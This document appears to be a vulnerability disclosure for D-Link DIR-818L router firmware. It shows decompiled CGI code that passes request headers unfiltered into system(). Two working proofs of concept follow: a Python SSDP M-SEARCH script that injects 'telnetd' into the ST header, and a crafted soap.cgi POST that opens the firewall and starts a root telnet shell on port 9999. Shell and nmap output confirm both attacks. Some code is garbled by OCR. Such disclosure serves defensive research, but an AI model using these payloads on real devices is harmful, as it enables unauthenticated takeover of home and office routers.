

```
lxmldbc_system(v9, "/etc/scripts/upnp/M-SEARCH.sh", v8, v5, v6);
         return 0;
        if (!strncmp(v2, "upnp:rootdevice", 0xFu))
          v8 = v3;
         v9 = "%s rootdevice %s:%s %s &";
          goto LABEL_14;
        if (!strncmp(v2, "uuid:", 5u))
          lxmldbc_system("%s uuid %s:%s %s %s %s %", "/etc/scripts/upnp/M-SEARCH.sh", v3, v5, v6, v2);
          return 0;
        v7 = strncmp(v2, "urn:", 4u) != 0;
        result = 0;
       if ( v7 )
       return result;
if ( strstr(v2, ":device:") )
          lxmldbc_system("%s devices %s:%s %s %s %s %", "/etc/scripts/upnp/M-SEARCH.sh", v3, v5, v6, v2);
          return 0;
        if ( strstr(v2, ":service:") )
          lxmldbc_system("%s services %s:%s %s %s &", "/etc/scripts/upnp/M-SEARCH.sh", v3, v5, v6, v2);
ssdpcgi main:67 (40E304)
```

```
lint fastcall ssdpcgi main(int a1)
2 {
  int result; // $v0
3
 char *v2; // $s0
  char *v3; // $s3
  char *v4; // $v0
  char *v5; // $s2
  const char *v6; // $s1
 bool v7; // dc
 char *v8; // $a2
  const char *v9; // $a0
  result = -1;
   if ( a1 == 2 )
     v2 = getenv("HTTP_ST");
     v3 = getenv("REMOTE_ADDR");
     v5 = getenv("REMOTE PORT");
     v4 = getenv("SERVER_ID");
     v6 = v4;
     if ( v2 && v3 && v5 )
       \sqrt{7} = \sqrt{4} == 0;
       result = -1;
       if (!v7)
         v7 = strchr(v2, 96) != 0;
         result = -1;
         if (!v7)
         {
           v7 = strchr(v3, 96) != 0;
           result = -1;
           if (!v7)
             v7 = strchr(v5, 96) != 0;
             result = -1;
             if (!v7)
               v7 = strchr(v6, 96) != 0;
               result = -1;
               if (!v7)
                 if ( !strncmp(v2, "ssdp:all", 8u) )
 0000E1E0 --4---- --------- /40E1E01
```

lxmldbc_system:

```
1 int lxmldbc_system(const char *a1, ...)
2 {
3    char v2[1028]; // [sp+1Ch] [-404h] BYREF
4    va_list va; // [sp+42Ch] [+Ch] BYREF
5    va_start(va, a1);
7    vsnprintf(v2, 0x400u, a1, va);
8    return system(v2);
9 }
```

You can see that the environment variables are concatenated directly into the system command without filtering

poc:

```
import sys
import os
import socket
from time import sleep
def config_payload(ip, port):
    header = "M-SEARCH * HTTP/1.1\n"
    header += "HOST:"+str(ip)+":"+str(port)+"\n"
    header += "ST:urn:device:1;telnetd\n"
    header += "MX:2\n"
    header += 'MAN:"ssdp:discover"'+"\n\n"
    return header
def send_conexion(ip, port, payload):
    sock=socket.socket.AF_INET,socket.SOCK_DGRAM,socket.IPPROTO_UDP)
    sock.setsockopt(socket.IPPROTO_IP,socket.IP_MULTICAST_TTL,2)
    sock.sendto(payload,(ip, port))
    sock.close()
if __name__== "__main__":
    ip = raw_input("Router IP: ")
    port = 1900
headers = config_payload(ip, port)
send_conexion(ip, port, headers)
sleep(5)
os.system('telnet ' + str(ip))
```

```
Router IP: 192.168.0.1
ls
Trying 192.168.0.1...
Connected to 192.168.0.1.
Escape character is '^]'.
ls
BusyBox v1.14.1 (2015-04-19 18:00:50 CST) built-in shell (msh)
Enter 'help' for a list of built-in commands.
# ls
                                                              lost+found
root
                         sys
                                     mnt
                                                 home
            WWW
run
                         sbin
                                     lib
                                                 etc
            var
                                     include
etc_ro
            usr
                         ргос
                                                 dev
firmadyne
                         mydlink
                                     htdocs
                                                 bin
            tmp
```

I looked it up online and it looks like it's been there for a long time

two

Firmware:

DIR818L_FW105b01 A1:

Detail:

Command execution exists in the cgibin binary I found unauthenticated remote code execution vulnerability in function of binary.soapcgi_main

```
1|int soapcgi_main()
2 {
3
   int v0; // $s0
   int v1; // $s4
   char *v2; // $s3
   char *v3; // $s1
   char *v4; // $s0
   char *v5; // $s2
   int v6; // $a0
   const char *v7; // $a1
   const char *v8; // $a2
   char *v9; // $v0
   char *v10; // $s1
   char *v11; // $v0
   const char *v12; // $s0
   char *v13; // $v0
   const char *v14; // $s1
    __pid_t v15; // $v0
   char *v16; // $v0
   const char *v17; // $s3
   __pid_t v18; // $v0
   const char *v19; // $s7
3
    _pid_t v20; // $v0
   FILE *v21; // $s3
   __pid_t v22; // $v0
    pid t v23; // $v0
  v0 = 0;
   v1 = sub\_40E6B4();
   if ( \lor1 \gt= 0 )
3
1
     v2 = getenv("CONTENT_TYPE");
2
     v3 = getenv("REQUEST_URI");
v4 = getenv("HTTP_SOAPACTION");
3
     v5 = getenv("REQUEST_METHOD");
5
     if ( v2 && !strncasecmp(v2, "text/xml", 8u) )
7
8
       if (!v3)
9
          goto LABEL_21;
       if (!v4)
3
         goto LABEL_21;
       v9 = strchr(v3, 63);
2
       v10 = v9;
3
4
       if ( !v9 || strncmp(v9, "?service=", 9u) )
        "/var/run",
        v14,
        v18);
      if (!xmldbc_ephp_wb(0, 0, byte_438D00, byte_437D00, 4096))
        if (!cgibin_fill_http_content_len(byte_437D00, 4096))
          printf("%s", byte_437D00);
        v20 = getpid();
        sprintf(byte_438D00, "%s/%s_%d.sh", "/var/run", v14, v20);
        v21 = fopen(byte_438D00, "a+");
        if ( v21 )
          v22 = getpid();
          fprintf(v21, "rm -f %s/%s_%d.sh", "/var/run", v14, v22);
          fclose(v21);
          v23 = getpid();
          sprintf(byte_438D00, "sh %s/%s_%d.sh > /dev/console &", "/var/run", v14, v23);
          system(byte 438D00);
        }
      ∨0 = 0;
```

poc:

```
#nc 192.168.0.1 49512

POST /soap.cgi?service=whatever-control;iptables -P INPUT ACCEPT;iptables -P
FORWARD ACCEPT;iptables -P OUTPUT ACCEPT;iptables -t nat -P PREROUTING
ACCEPT;iptables -t nat -P OUTPUT ACCEPT;iptables -t nat -P POSTROUTING
ACCEPT;telnetd -p 9999;whatever-invalid-shell HTTP/1.1
Host: 192.168.100.1:49152
Accept-Encoding: identity
Content-Length: 16
SOAPAction: "whatever-serviceType#whatever-action"
Content-Type: text/xml
```

We can see that port 9999 is opened

```
Starting Nmap 7.80 ( https://nmap.org ) at 2022-07-09 21:09 CST
Nmap scan report for 192.168.0.1
Host is up (0.0058s latency).
Not shown: 995 closed ports
PORT STATE SERVICE
80/tcp open http
443/tcp open https
8181/tcp open intermapper
9999/tcp open abyss
49152/tcp open unknown
```

nc 192.168.0.1 9999

```
# ls
```

This bug is also a bug that has appeared in other versions